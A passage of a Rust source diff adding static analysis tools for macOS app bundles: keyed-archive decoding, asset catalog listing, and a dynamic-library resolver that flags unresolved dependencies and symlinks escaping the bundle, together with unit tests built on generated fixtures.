p.root.as_deref().unwrap_or("root"), + a.top.iter().map(|(k, _)| k.as_str()).collect::>().join(", ") + )) + })?; + let tree = a.project(root); + let rows = a.rows(); + let total = rows.len(); + let page_rows: Vec<&keyed_archive::ObjectRow> = rows.iter().skip(p.offset).take(p.limit).collect(); + let mut classes: BTreeMap = BTreeMap::new(); + for r in &rows { + if let Some(c) = &r.class { + *classes.entry(c.clone()).or_insert(0) += 1; + } + } + let summary = format!( + "{} archive by {} with {} objects; root \"{root_name}\" is {}.", + inp.name, + if a.archiver.is_empty() { "an unnamed archiver" } else { a.archiver.as_str() }, + total, + a.class_of(root).unwrap_or_else(|| "a plain value".into()) + ); + let mut b = builder(ctx, "apple_archive_decode", inp.subject.clone(), json!({"path": inp.path, "root": root_name, "offset": p.offset, "limit": p.limit})) + .result(json!({ + "path": inp.path, "archiver": a.archiver, "version": a.version.map(plist::int_json), + "top": a.top.iter().map(|(k, v)| json!({"name": k, "object": v})).collect::>(), + "root": root_name, "root_object": root, "tree": tree, "class_counts": classes, + "objects_total": total, "objects": page_rows, + })) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OriginalFiles) + .coverage(Coverage::page(page_rows.len() as u64, total as u64, p.offset as u64)) + .location(loc(&inp)); + if a.archiver != "NSKeyedArchiver" { + b = b.limitation(Limitation::new("archiver", format!("archiver is {:?}, not NSKeyedArchiver; the projection may not fit", a.archiver))); + } + b = b.limitation(Limitation::new("expanded_once", "Each object is expanded once in the tree; repeats and cycles appear as {\"$ref\": index}.")); + Ok(ToolOutput::evidence(b.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// apple_assets_list + +fn find_car(dir: &Path) -> Option { + [dir.join("Contents/Resources/Assets.car"), dir.join("Assets.car"), dir.join("Resources/Assets.car")].into_iter().find(|p| p.is_file()) +} + +fn apple_assets_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: AssetCatalogParams = parse_params(params)?; + if !(1..=10_000).contains(&p.limit) { + return Err(ToolError::invalid("limit must be 1–10000")); + } + let path = input_path(ctx, p.path.as_deref())?; + let inp = if path.is_dir() { + let f = find_car(&path) + .ok_or_else(|| ToolError::invalid(format!("no Assets.car in {}", path.display())).with_remediation("Pass the Assets.car file itself."))?; + static_input::load_path(&f.to_string_lossy(), 512 << 20)? + } else if p.path.is_some() { + static_input::load_path(&path.to_string_lossy(), 512 << 20)? + } else { + static_input::load(ctx, None, 512 << 20)? + }; + if !car::is_bom(&inp.bytes) { + return Err(ToolError::new(ErrorCode::NotSupported, format!("{} is not a BOM store (asset catalogs start with BOMStore)", inp.name))); + } + let c = car::parse(&inp.bytes).map_err(|e| format_err(e, "an asset catalog"))?; + let total = c.renditions.len(); + let page_r: Vec<&car::Rendition> = c.renditions.iter().skip(p.offset).take(p.limit).collect(); + let mut by_format: BTreeMap = BTreeMap::new(); + for r in &c.renditions { + *by_format.entry(r.pixel_format.clone().unwrap_or_else(|| "unknown".into())).or_insert(0) += 1; + } + let mut lims = vec![Limitation::new("pixels_not_decoded", "Rendition headers are read; image, colour and data payloads are not decoded or exported.")]; + lims.push(Limitation::new("best_effort_names", "Attribute and layout names follow the observed format and may not match every catalog version.")); + if !c.warnings.is_empty() { + lims.push(Limitation::new("catalog_warnings", c.warnings.iter().take(20).cloned().collect::>().join("; "))); + } + let summary = format!( + "{}: {} facet(s), {} rendition(s){}.", + inp.name, + c.facets.len(), + total, + c.header.as_ref().map(|h| format!(", schema {} storage {}", h.schema_version, h.storage_version)).unwrap_or_default() + ); + let ev = builder(ctx, "apple_assets_list", inp.subject.clone(), json!({"path": inp.path, "offset": p.offset, "limit": p.limit})) + .result(json!({ + "path": inp.path, "bom": c.bom, "header": c.header, "extended_metadata": c.extended_metadata, + "key_format": c.key_format, "facets": c.facets, "appearances": c.appearances, + "renditions_total": total, "renditions_by_pixel_format": by_format, "renditions": page_r, + })) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(Coverage::page(page_r.len() as u64, total as u64, p.offset as u64)) + .location(loc(&inp)) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +// --------------------------------------------------------------------------------------------- +// apple_dylibs_resolve + +/// Lexically normalise `..` and `.` (no file-system access). +fn normalize(p: &Path) -> PathBuf { + let mut out = PathBuf::new(); + for c in p.components() { + match c { + Component::ParentDir => { + out.pop(); + } + Component::CurDir => {} + other => out.push(other.as_os_str()), + } + } + out +} + +fn is_system(name: &str) -> bool { + name.starts_with("/usr/lib/") || name.starts_with("/System/") || name.starts_with("/Library/Apple/") +} + +/// An image waiting to be loaded: path, inherited run paths (text, defining folder), wanted slice. +type Pending = (PathBuf, Vec<(String, PathBuf)>, Option); + +struct Img { + path: PathBuf, + deps: macho_deps::MachoDeps, + arch: String, +} + +#[derive(Default)] +struct Trace { + images: Vec, + loaded: BTreeSet, + findings: Vec, + counts: BTreeMap<&'static str, usize>, +} + +struct Resolver<'a> { + bundle: PathBuf, + bundle_canon: PathBuf, + roots: Vec, + arch: Option<&'a str>, + max_images: usize, + bytes_read: u64, +} + +enum Probe { + Found(PathBuf), + Absent, + Escapes(PathBuf), +} + +impl Resolver<'_> { + fn rel(&self, p: &Path) -> String { + rel_to(&self.bundle, p) + } + + fn inside(&self, canon: &Path) -> bool { + canon.starts_with(&self.bundle_canon) || self.roots.iter().any(|r| std::fs::canonicalize(r).is_ok_and(|rc| canon.starts_with(rc))) + } + + fn probe(&self, cand: &Path) -> Probe { + match std::fs::canonicalize(cand) { + Ok(c) if !c.is_file() => Probe::Absent, + Ok(c) if self.inside(&c) => Probe::Found(normalize(cand)), + Ok(c) => Probe::Escapes(c), + Err(_) => Probe::Absent, + } + } + + fn load(&mut self, path: &Path, want: Option<&str>) -> Result { + let meta = std::fs::metadata(path).map_err(|e| e.to_string())?; + if meta.len() > 1 << 30 || self.bytes_read.saturating_add(meta.len()) > 8 << 30 { + return Err("size budget reached".into()); + } + self.bytes_read += meta.len(); + let data = std::fs::read(path).map_err(|e| e.to_string())?; + if !macho_deps::is_thin(&data) && !macho_deps::is_fat(&data) { + return Err("not a Mach-O file".into()); + } + let slices = macho_deps::slices(&data).map_err(|e| e.to_string())?; + let pick = macho_deps::pick_slice(&slices, want.or(self.arch)).ok_or_else(|| { + format!("no {} slice (has {})", want.or(self.arch).unwrap_or("?"), slices.iter().map(|s| s.arch.as_str()).collect::>().join(", ")) + })?; + let bytes = macho_deps::slice_bytes(&data, &pick).ok_or("slice outside the file")?; + let deps = macho_deps::parse_thin(bytes).map_err(|e| e.to_string())?; + Ok(Img { path: path.to_path_buf(), deps, arch: pick.arch }) + } + + /// Expand one load path (or run path) to candidate paths. + fn expand(&self, name: &str, exe_dir: &Path, loader_dir: &Path) -> Option { + if let Some(r) = name.strip_prefix("@executable_path") { + Some(normalize(&exe_dir.join(r.trim_start_matches('/')))) + } else if let Some(r) = name.strip_prefix("@loader_path") { + Some(normalize(&loader_dir.join(r.trim_start_matches('/')))) + } else if name.starts_with('/') { + Some(PathBuf::from(name)) + } else { + None + } + } + + fn absolute_candidates(&self, abs: &Path) -> Vec { + let mut v = Vec::new(); + if abs.starts_with(&self.bundle) { + v.push(abs.to_path_buf()); + } + let stripped = abs.strip_prefix("/").unwrap_or(abs); + for r in &self.roots { + v.push(normalize(&r.join(stripped))); + } + v + } + + /// Trace one entry program (an executable or a plug-in bundle hosted by `exe`). + fn trace(&mut self, entry: &Path, exe: &Path, t: &mut Trace, cancel: &crate::tool::CancelToken) -> Result<(), ToolError> { + let exe_dir = exe.parent().map(Path::to_path_buf).unwrap_or_default(); + // (image path, run-path chain [(rpath text, defining image dir)]) + let mut queue: VecDeque = VecDeque::new(); + queue.push_back((entry.to_path_buf(), Vec::new(), None)); + while let Some((path, chain, want_arch)) = queue.pop_front() { + cancel.check()?; + if !t.loaded.insert(path.clone()) { + continue; + } + if t.loaded.len() > self.max_images { + t.findings.push(json!({"finding": "image-limit-reached", "detail": format!("stopped after {} images", self.max_images)})); + return Ok(()); + } + let img = match self.load(&path, want_arch.as_deref()) { + Ok(i) => i, + Err(e) => { + t.images.push(json!({"path": self.rel(&path), "error": e})); + continue; + } + }; + let loader_dir = img.path.parent().map(Path::to_path_buf).unwrap_or_default(); + // This image's run paths come first, then those of the images that loaded it. + let mut rpaths: Vec<(String, PathBuf)> = img.deps.rpaths.iter().map(|r| (r.clone(), loader_dir.clone())).collect(); + rpaths.extend(chain.iter().cloned()); + let mut deps_out = Vec::new(); + for d in &img.deps.dylibs { + let weak = d.kind == "weak"; + let mut candidates = Vec::new(); + let mut outcome = "unresolved"; + let mut resolved: Option = None; + let mut via = None; + let mut absent_before = Vec::new(); + if is_system(&d.name) { + outcome = "system"; + } else if let Some(rest) = d.name.strip_prefix("@rpath/") { + if rpaths.is_empty() { + t.findings.push(json!({"finding": "rpath-without-run-paths", "image": self.rel(&img.path), "dependency": d.name})); + } + for (rp, def_dir) in &rpaths { + let Some(base) = self.expand(rp, &exe_dir, def_dir) else { + candidates.push(json!({"rpath": rp, "path": null, "status": "relative-run-path"})); + continue; + }; + let cands = if base.is_absolute() && !rp.starts_with('@') { + self.absolute_candidates(&base.join(rest)) + } else { + vec![normalize(&base.join(rest))] + }; + for c in cands { + match self.probe(&c) { + Probe::Found(f) => { + candidates.push(json!({"rpath": rp, "path": self.rel(&c), "status": "present"})); + if resolved.is_none() { + resolved = Some(f); + via = Some(rp.clone()); + } + } + Probe::Absent => { + candidates.push(json!({"rpath": rp, "path": self.rel(&c), "status": "absent"})); + if resolved.is_none() { + absent_before.push(self.rel(&c)); + } + } + Probe::Escapes(to) => { + candidates.push(json!({"rpath": rp, "path": self.rel(&c), "status": "escapes-bundle"})); + t.findings.push(json!({"finding": "symlink-escapes-bundle", "image": self.rel(&img.path), "dependency": d.name, "target": to.display().to_string()})); + } + } + } + if resolved.is_some() { + break; + } + } + if resolved.is_some() { + outcome = "resolved"; + if !absent_before.is_empty() { + t.findings + .push(json!({"finding": "skipped-rpath-entry", "image": self.rel(&img.path), "dependency": d.name, "absent": absent_before})); + } + } + } else if let Some(base) = self.expand(&d.name, &exe_dir, &loader_dir) { + let cands = if d.name.starts_with('@') { vec![base] } else { self.absolute_candidates(&base) }; + if cands.is_empty() { + outcome = "undetermined"; + } + for c in cands { + match self.probe(&c) { + Probe::Found(f) => { + candidates.push(json!({"path": self.rel(&c), "status": "present"})); + resolved = Some(f); + outcome = "resolved"; + break; + } + Probe::Absent => candidates.push(json!({"path": self.rel(&c), "status": "absent"})), + Probe::Escapes(to) => { + candidates.push(json!({"path": self.rel(&c), "status": "escapes-bundle"})); + t.findings.push(json!({"finding": "symlink-escapes-bundle", "image": self.rel(&img.path), "dependency": d.name, "target": to.display().to_string()})); + } + } + } + } else { + outcome = "undetermined"; + t.findings.push(json!({"finding": "relative-install-name", "image": self.rel(&img.path), "dependency": d.name})); + } + if outcome == "unresolved" && weak { + outcome = "unresolved-weak"; + } + *t.counts.entry(outcome).or_insert(0) += 1; + if let Some(r) = &resolved { + let mut next_chain = rpaths.clone(); + next_chain.truncate(256); + queue.push_back((r.clone(), next_chain, Some(img.arch.clone()))); + } + deps_out.push(json!({ + "name": d.name, "kind": d.kind, "outcome": outcome, + "resolved_path": resolved.as_ref().map(|r| self.rel(r)), "via_rpath": via, + "candidates": candidates, + })); + } + t.images.push(json!({ + "path": self.rel(&img.path), "architecture": img.arch, "file_type": img.deps.header.filetype_name, + "install_name": img.deps.id_dylib.as_ref().map(|d| d.name.clone()), "rpaths": img.deps.rpaths, + "executable_path": self.rel(exe), "dependencies": deps_out, + })); + } + Ok(()) + } +} + +fn apple_dylibs_resolve(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DylibParams = parse_params(params)?; + if !(1..=20_000).contains(&p.max_images) { + return Err(ToolError::invalid("max_images must be 1–20000")); + } + let start = input_path(ctx, p.path.as_deref())?; + if p.path.is_none() && ctx.session.active().is_ok_and(|t| !matches!(t.target.kind, TargetKind::Directory | TargetKind::MachO | TargetKind::MachOFat)) { + return Err(ToolError::invalid("the active target is not an app bundle or Mach-O").with_remediation("Pass path to an .app bundle.")); + } + let start = normalize(&start); + // The bundle: the folder itself, or the nearest enclosing .app/.framework/.appex. + let bundle = if start.is_dir() { + start.clone() + } else { + start + .ancestors() + .skip(1) + .find(|a| a.extension().is_some_and(|e| e == "app" || e == "framework" || e == "appex" || e == "xpc")) + .map(Path::to_path_buf) + .or_else(|| start.parent().map(Path::to_path_buf)) + .unwrap_or_default() + }; + let bundle_canon = std::fs::canonicalize(&bundle).map_err(|e| ToolError::io(bundle.display(), e))?; + let main_exe = if start.is_dir() { + bundle_executable(&bundle).ok_or_else(|| { + ToolError::invalid(format!("{} has no bundle executable", bundle.display())) + .with_remediation("Pass an .app bundle with an Info.plist, or the Mach-O inside it.") + })? + } else { + start.clone() + }; + let mut roots = Vec::new(); + for r in &p.roots { + roots.push(super::artifact_tools::abs_path(r, "roots entry")?); + } + let mut res = Resolver { bundle: bundle.clone(), bundle_canon, roots, arch: p.architecture.map(DyldArch::name), max_images: p.max_images, bytes_read: 0 }; + let mut t = Trace::default(); + res.trace(&main_exe, &main_exe, &mut t, &ctx.cancel)?; + // Other programs in the bundle: executables (their own @executable_path) and plug-in bundles (hosted by the main executable). + let skip = |_: &str| false; + let walked = walk_dir(&bundle, &WalkOptions { max_files: 20_000, max_depth: 32, skip_dir: &skip, gitignore: false, include_hidden: false }, &ctx.cancel)?; + let mut machos = Vec::new(); + for f in &walked.files { + let mut head = [0u8; 32]; + let ok = std::fs::File::open(&f.abs).and_then(|mut fh| std::io::Read::read(&mut fh, &mut head)).unwrap_or(0) >= 32; + if !ok || !(macho_deps::is_thin(&head) || macho_deps::is_fat(&head)) { + continue; + } + let ft = if macho_deps::is_thin(&head) { + macho_deps::header(&head).ok().map(|h| h.filetype) + } else { + std::fs::read(&f.abs).ok().and_then(|data| { + let slices = macho_deps::slices(&data).ok()?; + let pick = macho_deps::pick_slice(&slices, res.arch)?; + let bytes = macho_deps::slice_bytes(&data, &pick)?; + macho_deps::header(bytes).ok().map(|h| h.filetype) + }) + }; + machos.push((normalize(&f.abs), ft)); + } + let entries: Vec<(PathBuf, Option)> = machos.iter().filter(|(p, ft)| !t.loaded.contains(p) && matches!(ft, Some(2) | Some(8))).cloned().collect(); + let mut seen_entries = HashSet::new(); + for (path, ft) in entries { + if t.loaded.contains(&path) || !seen_entries.insert(path.clone()) { + continue; + } + let exe = if ft == Some(8) { main_exe.clone() } else { path.clone() }; + res.trace(&path, &exe, &mut t, &ctx.cancel)?; + } + let unreferenced: Vec = machos.iter().filter(|(p, _)| !t.loaded.contains(p)).map(|(p, _)| res.rel(p)).collect(); + let resolved = t.counts.get("resolved").copied().unwrap_or(0); + let unresolved = t.counts.get("unresolved").copied().unwrap_or(0); + let summary = format!( + "{} image(s) traced from {}: {resolved} resolved, {} system, {unresolved} unresolved, {} weak missing, {} undetermined; {} finding(s), {} Mach-O file(s) never loaded.", + t.images.len(), + res.rel(&main_exe), + t.counts.get("system").copied().unwrap_or(0), + t.counts.get("unresolved-weak").copied().unwrap_or(0), + t.counts.get("undetermined").copied().unwrap_or(0), + t.findings.len(), + unreferenced.len() + ); + let mut lims = vec![ + Limitation::new( + "static_model", + "A static model of the dynamic linker: environment variables (DYLD_*), the shared cache contents and runtime dlopen calls are not observed.", + ), + Limitation::new( + "system_libraries", + "Paths under /usr/lib and /System are reported as system: they normally live in the OS shared cache and are not checked on this host.", + ), + ]; + if walked.truncated { + lims.push(Limitation::new("truncated", "The bundle walk hit its file or depth limit; some programs were not considered.")); + } + let name = bundle.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_default(); + let ev = builder( + ctx, + "apple_dylibs_resolve", + Subject { kind: "bundle".into(), sha256: Some(sha256_hex(bundle.to_string_lossy().as_bytes())), name: Some(name) }, + json!({"path": start, "roots": p.roots, "architecture": p.architecture.map(DyldArch::name), "max_images": p.max_images}), + ) + .result(json!({ + "bundle": bundle, "main_executable": res.rel(&main_exe), "images": t.images, "findings": t.findings, + "outcomes": t.counts, "unreferenced_images": unreferenced, + })) + .summary(summary) + .confidence(Confidence::Derived) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(Coverage::complete(t.loaded.len() as u64)) + .location(Location::new("path", bundle.display().to_string())) + .build()?; + Ok(ToolOutput::evidence(ev)) +} + +#[cfg(test)] +mod tests { + use super::super::native_common::test_support::{call, call_err, engine_with}; + use crate::Engine; + use craft_anything_testkit::apple as fx; + use serde_json::json; + + fn tmp(name: &str, bytes: &[u8]) -> String { + craft_anything_testkit::temp_file(name, bytes).to_string_lossy().into_owned() + } + + #[test] + fn macho_and_architectures() { + let e = engine_with("signed", &fx::macho_signed()); + let r = call(&e, "apple_macho_show", json!({})); + assert_eq!(r["result"]["selected"]["arch"], "x86_64"); + assert!(r["result"]["libraries"].as_array().unwrap().iter().any(|l| l["name"] == "@rpath/Extras.framework/Extras" && l["kind"] == "weak")); + assert_eq!(r["result"]["rpaths"][0], "@executable_path/../Frameworks"); + assert_eq!(r["result"]["uuid"], "00112233-4455-6677-8899-AABBCCDDEEFF"); + assert!(r["result"]["imports"].as_array().unwrap().iter().any(|i| i.to_string().contains("puts")), "{}", r["result"]["imports"]); + let u = tmp("universal", &fx::macho_universal()); + let a = call(&e, "apple_slices_list", json!({"path": u})); + assert_eq!(a["result"]["universal"], true); + assert_eq!(a["result"]["slices"].as_array().unwrap().len(), 2); + let m = call(&e, "apple_macho_show", json!({"path": u, "architecture": "arm64e"})); + assert_eq!(m["result"]["selected"]["arch"], "arm64"); + let err = call_err(&e, "apple_macho_show", json!({"path": u, "architecture": "i386"})); + assert!(err.message.contains("x86_64")); + let junk = tmp("junk.bin", b"not a program at all"); + assert!(call_err(&e, "apple_macho_show", json!({"path": junk})).message.contains("not a Mach-O")); + } + + #[test] + fn signature() { + let e = engine_with("signed", &fx::macho_signed()); + let r = call(&e, "apple_signature_show", json!({})); + let res = &r["result"]; + assert_eq!(res["signed"], true); + assert_eq!(res["code_directories"][0]["identifier"], "com.example.notes"); + assert_eq!(res["code_directories"][0]["team_id"], "ABCDE12345"); + assert_eq!(res["entitlements"]["com.apple.security.network.client"], true); + assert!(res["requirements"][0]["text"].as_str().unwrap().contains("anchor apple generic")); + // The fixture's page hash is a placeholder: the recomputed hash must not match. + assert_eq!(res["hash_checks"][0]["result"]["pages_mismatched"].as_array().unwrap().len(), 1); + let special = res["hash_checks"][0]["result"]["special_slots"].as_array().unwrap(); + assert!(special.iter().any(|s| s["what"] == "entitlements" && s["status"] == "mismatch")); + assert!(special.iter().any(|s| s["what"] == "requirements" && s["status"] == "mismatch")); + assert!(special.iter().any(|s| s["what"] == "info-plist" && s["status"] == "absent")); + assert!(r["summary"].as_str().unwrap().contains("do NOT match")); + let unsigned = engine_with("plain", &craft_anything_testkit::macho64()); + let u = call(&unsigned, "apple_signature_show", json!({})); + assert_eq!(u["result"]["signed"], false); + } + + #[test] + fn signature_cms_is_verified() { + // A Mach-O whose CMS genuinely signs its CodeDirectory verifies cryptographically. + let e = engine_with("cms", &fx::macho_cms_signed()); + let r = call(&e, "apple_signature_show", json!({})); + let v = &r["result"]["cms_verification"]; + assert_eq!(v["signature_valid"]["status"], "valid", "{v}"); + assert_eq!(v["binds_code_directory"], true); + assert_eq!(v["authenticated"], true); + // The signer is self-signed and NOT a bundled Apple root, reported honestly. + assert!(v["chain"]["trusted_root"].is_null()); + assert!(r["summary"].as_str().unwrap().contains("CMS signature VALID and binds")); + // Tamper detection is covered at the formats layer (verify::tests::macho_cms_verifies_and_detects_tamper). + } + + #[test] + fn plists() { + let e = Engine::new(crate::testing::session()); + let x = tmp("Info.plist", fx::to_xml(&fx::sample_plist()).as_bytes()); + let r = call(&e, "apple_plist_show", json!({"path": x})); + assert_eq!(r["result"]["format"], "xml"); + assert_eq!(r["result"]["plist"]["CFBundleIdentifier"], "com.example.notes"); + let b = tmp("Info.bplist", &fx::to_bplist(&fx::sample_plist())); + assert_eq!(call(&e, "apple_plist_show", json!({"path": b}))["result"]["format"], "binary"); + let m = tmp("exe", &fx::macho_with_info_plist()); + let r = call(&e, "apple_plist_show", json!({"path": m})); + assert_eq!(r["result"]["source"], "embedded-info-plist"); + let dir = tempfile::tempdir().unwrap(); + let app = fx::write_app_bundle(dir.path()); + let r = call(&e, "apple_plist_show", json!({"path": app})); + assert_eq!(r["result"]["source"], "bundle-info-plist"); + assert_eq!(r["result"]["plist"]["CFBundleExecutable"], "Notes"); + let ka = tmp("doc.archive", &fx::keyed_archive()); + assert_eq!(call(&e, "apple_plist_show", json!({"path": ka}))["result"]["keyed_archive"], true); + assert!(call_err(&e, "apple_plist_show", json!({"path": "relative.plist"})).message.contains("absolute")); + } + + #[test] + fn demangle() { + let e = Engine::new(crate::testing::session()); + let r = call(&e, "apple_swift_symbols_demangle", json!({"symbols": ["$s4main6WidgetCMa", "_main", "$s4mai"]})); + let rows = r["result"]["results"].as_array().unwrap(); + assert_eq!(rows[0]["status"], "demangled"); + assert_eq!(rows[0]["demangled"], "type metadata accessor for main.Widget"); + assert_eq!(rows[1]["status"], "unchanged"); + assert_eq!(rows[2]["status"], "invalid"); + assert!(call_err(&e, "apple_swift_symbols_demangle", json!({"symbols": []})).message.contains("1–10000")); + assert!(call_err(&e, "apple_swift_symbols_demangle", json!({"symbols": ["a\nb"]})).message.contains("line break")); + } + + #[test] + fn interface_builder_and_archives() { + let e = Engine::new(crate::testing::session()); + let dir = tempfile::tempdir().unwrap(); + let sb = dir.path().join("Main.storyboardc"); + std::fs::create_dir_all(sb.join("UIViewController-abc.nib")).unwrap(); + std::fs::write(sb.join("UIViewController-abc.nib/runtime.nib"), fx::nib_archive()).unwrap(); + std::fs::write(sb.join("UIViewController-abc.nib/objects-13.0+.nib"), fx::nib_archive()).unwrap(); + std::fs::write(sb.join("Window.nib"), fx::keyed_nib()).unwrap(); + std::fs::write( + sb.join("Info.plist"), + fx::to_xml(&fx::dict(vec![ + ("UIStoryboardDesignatedEntryPointIdentifier", fx::s("abc")), + ("UIViewControllerIdentifiersToNibNames", fx::dict(vec![("abc", fx::s("UIViewController-abc"))])), + ])), + ) + .unwrap(); + let r = call(&e, "apple_nib_decode", json!({"path": sb})); + assert_eq!(r["result"]["documents"].as_array().unwrap().len(), 2, "{}", r["result"]); + assert_eq!(r["result"]["storyboards"][0]["entry_point"], "abc"); + let docs = r["result"]["documents"].as_array().unwrap(); + let ui = docs.iter().find(|d| d["encoding"] == "nib-archive").unwrap(); + assert_eq!(ui["connection_count"], 2); + let capped = call(&e, "apple_nib_decode", json!({"path": sb, "max_documents": 1, "max_objects": 1})); + assert_eq!(capped["coverage"]["status"], "partial"); + assert!(call_err(&e, "apple_nib_decode", json!({"path": sb, "max_documents": 65})).message.contains("max_documents")); + let ka = tmp("doc.archive", &fx::keyed_archive()); + let k = call(&e, "apple_archive_decode", json!({"path": ka, "limit": 3})); + assert_eq!(k["result"]["tree"]["title"], "Groceries"); + assert_eq!(k["result"]["objects"].as_array().unwrap().len(), 3); + assert_eq!(k["coverage"]["next_offset"], 3); + assert!(call_err(&e, "apple_archive_decode", json!({"path": ka, "root": "nope"})).message.contains("root")); + } + + #[test] + fn asset_catalog() { + let e = Engine::new(crate::testing::session()); + let dir = tempfile::tempdir().unwrap(); + let res = dir.path().join("X.app/Contents/Resources"); + std::fs::create_dir_all(&res).unwrap(); + std::fs::write(res.join("Assets.car"), fx::assets_car()).unwrap(); + let r = call(&e, "apple_assets_list", json!({"path": dir.path().join("X.app"), "limit": 1})); + assert_eq!(r["result"]["renditions_total"], 2); + assert_eq!(r["result"]["renditions"].as_array().unwrap().len(), 1); + assert_eq!(r["result"]["facets"].as_array().unwrap().len(), 2); + assert_eq!(r["coverage"]["next_offset"], 1); + } + + #[test] + fn dylib_resolution() { + let e = Engine::new(crate::testing::session()); + let dir = tempfile::tempdir().unwrap(); + let app = fx::write_app_bundle(dir.path()); + let r = call(&e, "apple_dylibs_resolve", json!({"path": app})); + let res = &r["result"]; + let images = res["images"].as_array().unwrap(); + let exe = images.iter().find(|i| i["path"] == "Contents/MacOS/Notes").unwrap(); + let dep = |n: &str| exe["dependencies"].as_array().unwrap().iter().find(|d| d["name"] == n).unwrap().clone(); + assert_eq!(dep("/usr/lib/libSystem.B.dylib")["outcome"], "system"); + let foo = dep("@rpath/Foo.framework/Versions/A/Foo"); + assert_eq!(foo["outcome"], "resolved"); + assert_eq!(foo["resolved_path"], "Contents/Frameworks/Foo.framework/Versions/A/Foo"); + assert_eq!(dep("@rpath/Gone.dylib")["outcome"], "unresolved"); + assert_eq!(dep("@rpath/Optional.dylib")["outcome"], "unresolved-weak"); + let findings = res["findings"].as_array().unwrap(); + assert!(findings.iter().any(|f| f["finding"] == "skipped-rpath-entry")); + #[cfg(unix)] + { + assert_eq!(dep("@rpath/Evil.dylib")["outcome"], "unresolved"); + assert!(findings.iter().any(|f| f["finding"] == "symlink-escapes-bundle")); + } + // Bar is loaded once even though Foo names it twice; the plug-in resolves through @executable_path. + assert_eq!(images.iter().filter(|i| i["path"] == "Contents/Frameworks/Bar.dylib").count(), 1); + let plugin = images.iter().find(|i| i["path"] == "Contents/PlugIns/Helper.bundle/Contents/MacOS/Helper").unwrap(); + assert_eq!(plugin["dependencies"][0]["outcome"], "resolved"); + assert_eq!(res["unreferenced_images"], json!(["Contents/Frameworks/Unused.dylib"])); + let foo_img = images.iter().find(|i| i["path"] == "Contents/Frameworks/Foo.framework/Versions/A/Foo").unwrap(); + assert_eq!(foo_img["dependencies"][0]["via_rpath"], "@loader_path/../../.."); + // Starting from the executable inside the bundle gives the same main image. + let r2 = call(&e, "apple_dylibs_resolve", json!({"path": app.join("Contents/MacOS/Notes"), "architecture": "arm64e"})); + assert_eq!(r2["result"]["main_executable"], "Contents/MacOS/Notes"); + // The bundle tools also accept the bundle folder. + let m = call(&e, "apple_macho_show", json!({"path": app})); + assert_eq!(m["result"]["selected"]["arch"], "arm64"); + } + + #[test] + fn dylib_resolution_discovers_universal_helper() { + let e = Engine::new(crate::testing::session()); + let dir = tempfile::tempdir().unwrap(); + let app = dir.path().join("UniversalHelper.app"); + let contents = app.join("Contents"); + std::fs::create_dir_all(contents.join("MacOS")).unwrap(); + std::fs::create_dir_all(contents.join("Helpers")).unwrap(); + std::fs::create_dir_all(contents.join("Frameworks")).unwrap(); + std::fs::write(contents.join("Info.plist"), fx::to_xml(&fx::dict(vec![("CFBundleExecutable", fx::s("Main"))]))).unwrap(); + + let main = fx::macho_min(fx::CPU_ARM64, 2, &[], &[]); + let helper = |cpu| fx::macho_min(cpu, 2, &[fx::lc_rpath("@executable_path/../Frameworks"), fx::lc_dylib(0xc, "@rpath/OnlyHelper.dylib")], &[]); + let universal = craft_anything_testkit::macho_fat(&[helper(fx::CPU_ARM64), helper(fx::CPU_X86_64)]); + let library = craft_anything_testkit::macho_fat(&[ + fx::macho_min(fx::CPU_ARM64, 6, &[fx::lc_dylib(0xd, "@rpath/OnlyHelper.dylib")], &[]), + fx::macho_min(fx::CPU_X86_64, 6, &[fx::lc_dylib(0xd, "@rpath/OnlyHelper.dylib")], &[]), + ]); + std::fs::write(contents.join("MacOS/Main"), main).unwrap(); + std::fs::write(contents.join("Helpers/Worker"), universal).unwrap(); + std::fs::write(contents.join("Frameworks/OnlyHelper.dylib"), library).unwrap(); + + let result = call(&e, "apple_dylibs_resolve", json!({"path": app, "architecture": "arm64"})); + let images = result["result"]["images"].as_array().unwrap(); + let worker = images.iter().find(|image| image["path"] == "Contents/Helpers/Worker").unwrap(); + assert_eq!(worker["executable_path"], "Contents/Helpers/Worker"); + assert_eq!(worker["dependencies"][0]["outcome"], "resolved"); + assert_eq!(worker["dependencies"][0]["resolved_path"], "Contents/Frameworks/OnlyHelper.dylib"); + } +} diff --git a/desktop/crates/engine/src/tools/application_tools.rs b/desktop/crates/engine/src/tools/application_tools.rs new file mode 100644 index 0000000..d2a1d71 --- /dev/null +++ b/desktop/crates/engine/src/tools/application_tools.rs @@ -0,0 +1,891 @@ +//! Application-graph workflows: feature and semantic traces, version and export-outline +//! comparisons, reference sources versus the shipped bundle, reconstruction expectation ledgers +//! and coverage, and platform projections of artifact inventories. Pure computation over +//! evidence (or over a path, analysed on the spot). + +use super::artifact_tools::{WalkOptions, abs_path, env, inventory_path, is_path_input, recorded_inventory, resolve_evidence_input, walk_dir}; +use super::js_tools::load_graph; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_analysis::js_inventory::{InvLimits, Inventory}; +use craft_anything_analysis::js_ledger::{Binding, Review, build_ledger, evaluate_coverage}; +use craft_anything_analysis::js_source::{SourceGraph, build_source_graph, diff_source_and_bundle}; +use craft_anything_analysis::js_trace::{Direction, SeedKind, find_seeds, follow_feature, trace_semantics}; +use craft_anything_analysis::{js_compare, js_projection}; +use craft_anything_evidence::{Confidence, Coverage, CoverageStatus, EvidenceBuilder, Limitation, Location, Subject, ToolError}; +use schemars::JsonSchema; +use serde::Deserialize; +use serde_json::{Value, json}; + +pub fn specs() -> Vec { + let app = + |id: &'static str, title: &'static str, summary: &'static str, beginner: &'static str, schema: fn() -> Value, run: crate::tool::ToolFn| ToolSpec { + id, + title, + summary, + beginner, + toolset: Toolset::Application, + effects: Effects::EVIDENCE, + requires: Requires::Nothing, + input_schema: schema, + run, + }; + vec![ + app( + "app_feature_follow", + "Trace a feature", + "Follow a feature through an application graph from a seed (module, function, string, IPC channel, endpoint, route, bridge API or node id): what leads to it and what it leads to, across renderer ↔ preload ↔ main, with readable chains and a one-line story.", + "Follow one feature (like 